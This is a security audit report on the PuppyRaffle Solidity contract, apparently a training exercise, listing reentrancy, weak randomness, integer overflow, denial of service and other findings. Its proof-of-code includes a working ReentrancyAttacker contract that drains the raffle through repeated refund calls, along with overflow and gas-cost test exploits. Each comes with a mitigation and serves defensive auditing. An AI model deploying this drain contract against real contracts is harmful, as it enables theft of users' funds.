PuppyRaffle Audit Report

Version 1.0

Linxun

March 28, 2025

Protocol Audit Report

Linxun

March 28, 2025

Prepared by: Linxun Lead Auditors: - Linxun

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

Linxun makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8

Scope

```
./src/
|-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Hello World

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Info	7
Gas	2
Total	16

Findings

High

[H-1] Reentrancy in PuppyRaffle::refund allows entrant to drain raffle balance

Description: The PuppyRaffle::refund function doesn't follow CEI (Checks, Effects, Interactions) and as the result, enable participants to drain the contract balance.

In PuppyRaffle::refund function, we first make an external call to the msg.sender address and only after making the call do we update the PuppyRaffle::players array.

```
1      function refund(uint256 playerIndex) public {
2          // written-skipped MEV
3          address playerAddress = players[playerIndex];
4          require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
5          require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
6
7  @>      payable(msg.sender).sendValue(entranceFee);
8  @>      players[playerIndex] = address(0);
9
10         emit RaffleRefunded(playerAddress);
11     }
```

A player who enter the raffle could have a receive/fallback function that calls the PuppyRaffle::refund function again and claim another refund. They could continue the call till the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept: 1. User enters the raffle 2. Attacker set up a contract with the fallback function that calls the PuppyRaffle::refund function 3. Attacker enters the raffle 4. Attacker calls the PuppyRaffle::refund function from their attack contract, draining the contract balance

Proof of Code

Code

Place the following into PuppyRaffleTest.t.sol

```
1
2  function testReentrancyRefund() public  {
3          address[] memory players = new address[](4);
4          players[0] = playerOne;
5          players[1] = playerTwo;
6          players[2] = playerThree;
```

```
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle);
        address attackUser = makeAddr("attacker");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackContractBalance = address(
            attackerContract).balance;
        uint256 startingPuppyRaffleBalance = address(puppyRaffle).
            balance;


        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();

        uint256 endingAttackContractBalance = address(attackerContract)
            .balance;
        uint256 endingPuppyRaffleBalance = address(puppyRaffle).balance
            ;

        console.log("Starting attack contract balance: ",
            startingAttackContractBalance);
        console.log("Ending attack contract balance: ",
            endingAttackContractBalance);
        console.log("Starting puppy raffle balance: ",
            startingPuppyRaffleBalance);
        console.log("Ending puppy raffle balance: ",
            endingPuppyRaffleBalance);
    }
```

And this contract as well

```
contract ReentrancyAttacker{
    PuppyRaffle public puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle){
        puppyRaffle = _puppyRaffle;
        entranceFee = _puppyRaffle.entranceFee();
    }

    function attack() public payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);

        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            ;
```

```
17          puppyRaffle.refund(attackerIndex);
18      }
19
20      function _stealMoney() internal {
21          if (address(puppyRaffle).balance >= entranceFee) {
22              puppyRaffle.refund(attackerIndex);
23          }
24      }
25
26      fallback() external payable{
27          _stealMoney();
28      }
29
30      receive() external payable {
31          _stealMoney();
32      }
33  }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call, we should move the event emission up as well.

```
1       function refund(uint256 playerIndex) public {
2           // written-skipped MEV
3           address playerAddress = players[playerIndex];
4           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
5           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
6
7   +       players[playerIndex] = address(0);
8   +       emit RaffleRefunded(playerAddress);
9           payable(msg.sender).sendValue(entranceFee);
10  -       players[playerIndex] = address(0);
11  -       emit RaffleRefunded(playerAddress);
12      }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allow user to influence or predict the winner and influence or predict winning puppy

Description: Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together create a predictable find number. A predictable number is not a good random number. Malicious users can manipulate their values or know them ahead of time to choose the winner of raffle themselves.

note: This additionaly means the users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and select the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and using thet to predict when/who to participate. See the blogsolidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. User can mint/manipulate their `msg.sender` value to result in their address being used to generated the winner.
3. User can revert their `selectWinner` transaction is they don't like the winner or result puppy.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
uint64 myvar = type(uint64).max;
// 18446744073709551615
myvar = myvar + 1
// 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanent stuck in contract. At some point, there will be too much `balance` in the contract, and the `require` will impossible to pass.

Proof of Concept: 1. We conclude a raffle of 4 players. 3. We then have 89 players enter a new raffle, and conclude the raffle. 3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// aka
totalFees = 800000000000000000 + 17800000000000000000
// and this will overflow!
totalFees = 153255926290448384
```

4. You will not be able to withdraw the fees because of the `require` check in `PuppyRaffle::withdrawFees`.

```
    require(address(this).balance == uint256(totalFees), "PuppyRaffle:
        There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the contract.

Code

```
function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a
            second raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the
            require check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
            active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation: There are a few possible mitigations. 1. Use a newer version of solidity, and a `uint256` instead of `uint64` 2. You could also use the `SafeMath` library of openzeppelin for vision 0.7.6 of solidity. However you would still have a hard time with the `uint64`type if too many fees are collected. 3. Move the balance check from `PuppyRaffle::withdrawFees`

```
-   require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

There are more attack vector with that final require, so we recommend removing it. ## Medium ### [M-1] Looping through players array to check duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service(Dos) attack. Increasing gas cost for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks it will take to enter the raffle. This means the gas cost of playerss who enter right when the raffle state will be dramatically lower than who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
@>      for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

Impact: The gas cost for raffle entrants will greatly increase as the raffle progresses. Discouraging later users from entering the raffle.

An attacker might make the `PuppyRaffle::players` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept:

If we have two set of 100 players to enter, the gas cost will as such: - 1st 100 players: ~6503272 gas - 2nd 100 players: ~18995512 gas

Proof of Concept

Place the following test into `PuppyRaffle.t.sol`:

```
    function testDoSInEterRaffle() public {
        vm.txGasPrice(1);
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        uint256 gasStart =gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        uint256 gasEnd = gasleft();
        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost of first 100 players: ", gasUsedFirst);

        // now the second 100 players
        address[] memory playersTwo = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
```

```
17              playersTwo[i] = address(i + playersNum);
18          }
19          uint256 gasStartTwo =gasleft();
20          puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
                playersTwo);
21          uint256 gasEndTwo = gasleft();
22          uint256 gasUsedSecond = (gasStartTwo - gasEndTwo) * tx.gasprice
                ;
23          console.log("Gas cost of second 100 players: ", gasUsedSecond);
24
25          assert(gasUsedFirst < gasUsedSecond);
26
27
28      }
```

Recommended Mitigation: There are few recomendations.

1. Consider allowing duplicates. User can make new wallet address anyway, so a duplicate doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check duplicates. This would allow constant time lookups for whether a user has already entered the raffle.

[M-2] Balance check on PuppyRaffle::withdrawFees enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals

Description: The `PuppyRaffle::withdrawFees` function checks the `totalFees` equals the ETH balance of the contract (`address(this).balance`). Since this contract doesn't have a `payable` fallback or `receive` function, you'd think this wouldn't be possible, but a user could `selfdesctruct` a contract with ETH in it and force funds to the `PuppyRaffle` contract, breaking this check.

```
1       function withdrawFees() external {
2   @>      require(address(this).balance == uint256(totalFees), "
        PuppyRaffle: There are currently players active!");
3           uint256 feesToWithdraw = totalFees;
4           totalFees = 0;
5           (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6           require(success, "PuppyRaffle: Failed to withdraw fees");
7       }
```

Impact: This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Proof of Concept: 1. `PuppyRaffle` has 800 wei in it's balance, and 800 totalFees. 2. Malicious user sends 1 wei via a `selfdestruct` 3. `feeAddress` is no longer able to withdraw funds

Recommended Mitigation: Remove the balance check on the `PuppyRaffle::withdrawFees` function.

```
    function withdrawFees() external {
-       require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

[M-3] Smart contract wallet raffle winners without a `receive` or a `fallback` function will block the start of a new contract

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract that reject payment, the lottery would not be able to restart.

Users could easily call the `PuppyRaffle::selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very chaingl-leng

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money! **Proof of Concept:**

1. 10 smart contract wallets enter the lottery without a fallback or recieve function.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout amounts so winners can pull their funds out themselves with a new `claimPrize` function, putting the ownership on the winner to claim their prize. (Recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` return 0 for non-existent players and for player at index 0, causing the player at index 0 incorrectly think they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it's also return 0 if the player is not in array

```
    function getActivePlayerIndex(address player) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: Causing the player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User think they have not entered the raffle, attempts to enter the raffle again, wasting gas

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You can also reserve the 0th positon for any competition, but a better solution might be to return an `int256` where the funciton return -1 if the player is not active. ## Gas ### [G-1] Unchanged state variables should be declared as `constant` or `immutable`

Reading from storage is more expensive than reading from a constant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Everytime you call `player.length` you read from storage, as opposed to memory which is more gas efficient

```
+         uint256 playersLength = players.length;
+         for (uint256 i = 0; i < playersLength - 1; i++) {
-         for (uint256 i = 0; i < players.length - 1; i++) {
+             for (uint256 j = i + 1; j < playersLength; j++) {
-             for (uint256 j = i + 1; j < players.length; j++) {
                 require(players[i] != players[j], "PuppyRaffle:
                     Duplicate player");
             }
         }
```

Informational/Non-crits

[I-1] Solidity Pragma should be specific. not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.6;
```

[I-2] Using an outdated version of Solidity is not recommended

Description: solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Mitigation: Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither for more information.

[I-3] Address State Variable Set Without Checks

Description: Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 64

```
1           feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 192

```
1           feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` should follow CEI, which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions)

```
1 -         (bool success,) = winner.call{value: prizePool}("");
2 -         require(success, "PuppyRaffle: Failed to send prize pool to
      winner");
3           _safeMint(winner, tokenId);
4 +         (bool success,) = winner.call{value: prizePool}("");
5 +         require(success, "PuppyRaffle: Failed to send prize pool to
      winner");
```

[I-5] Using of "magic" numbers is discouraged

It can be confused to see number literals in a codebase, and it's much more readable if the number are given a name.

Example:

```
1 uint256 prizePool = (totalAmountCollected * 80) / 100;
2 uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
1 uint256 public constant PRIZE_PERCENTAGE = 80;
2 uint256 public constant FEE_PERCENTAGE = 20;
```

[I-6] `PuppyRaffle::_isActivePlayer` is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
1 -     function _isActivePlayer() internal view returns (bool) {
2 -         for (uint256 i = 0; i < players.length; i++) {
3 -             if (players[i] == msg.sender) {
4 -                 return true;
5 -             }
```

```
6 -         }
7 -         return false;
8 -     }
```

[I-7] Zero address may be erroneously considered an active player

Description: The `PuppyRaffle::refund` function removes active players from the players array by setting the corresponding slots to zero. This is confirmed by its documentation, stating that "This function will allow there to be blank spots in the array". However, this is not taken into account by the `getActivePlayerIndex` function. If someone calls `getActivePlayerIndex` passing the zero address after there's been a refund, the function will consider the zero address an active player, and return its index in the players array.

Recommended Mitigation: Skip zero addresses when iterating the `players` array in the `getActivePlayerIndex` function. Do note that this change would mean that the zero address can never be an active player. Therefore, it would be best if you also prevented the zero address from being registered as a valid player in the `enterRaffle` function.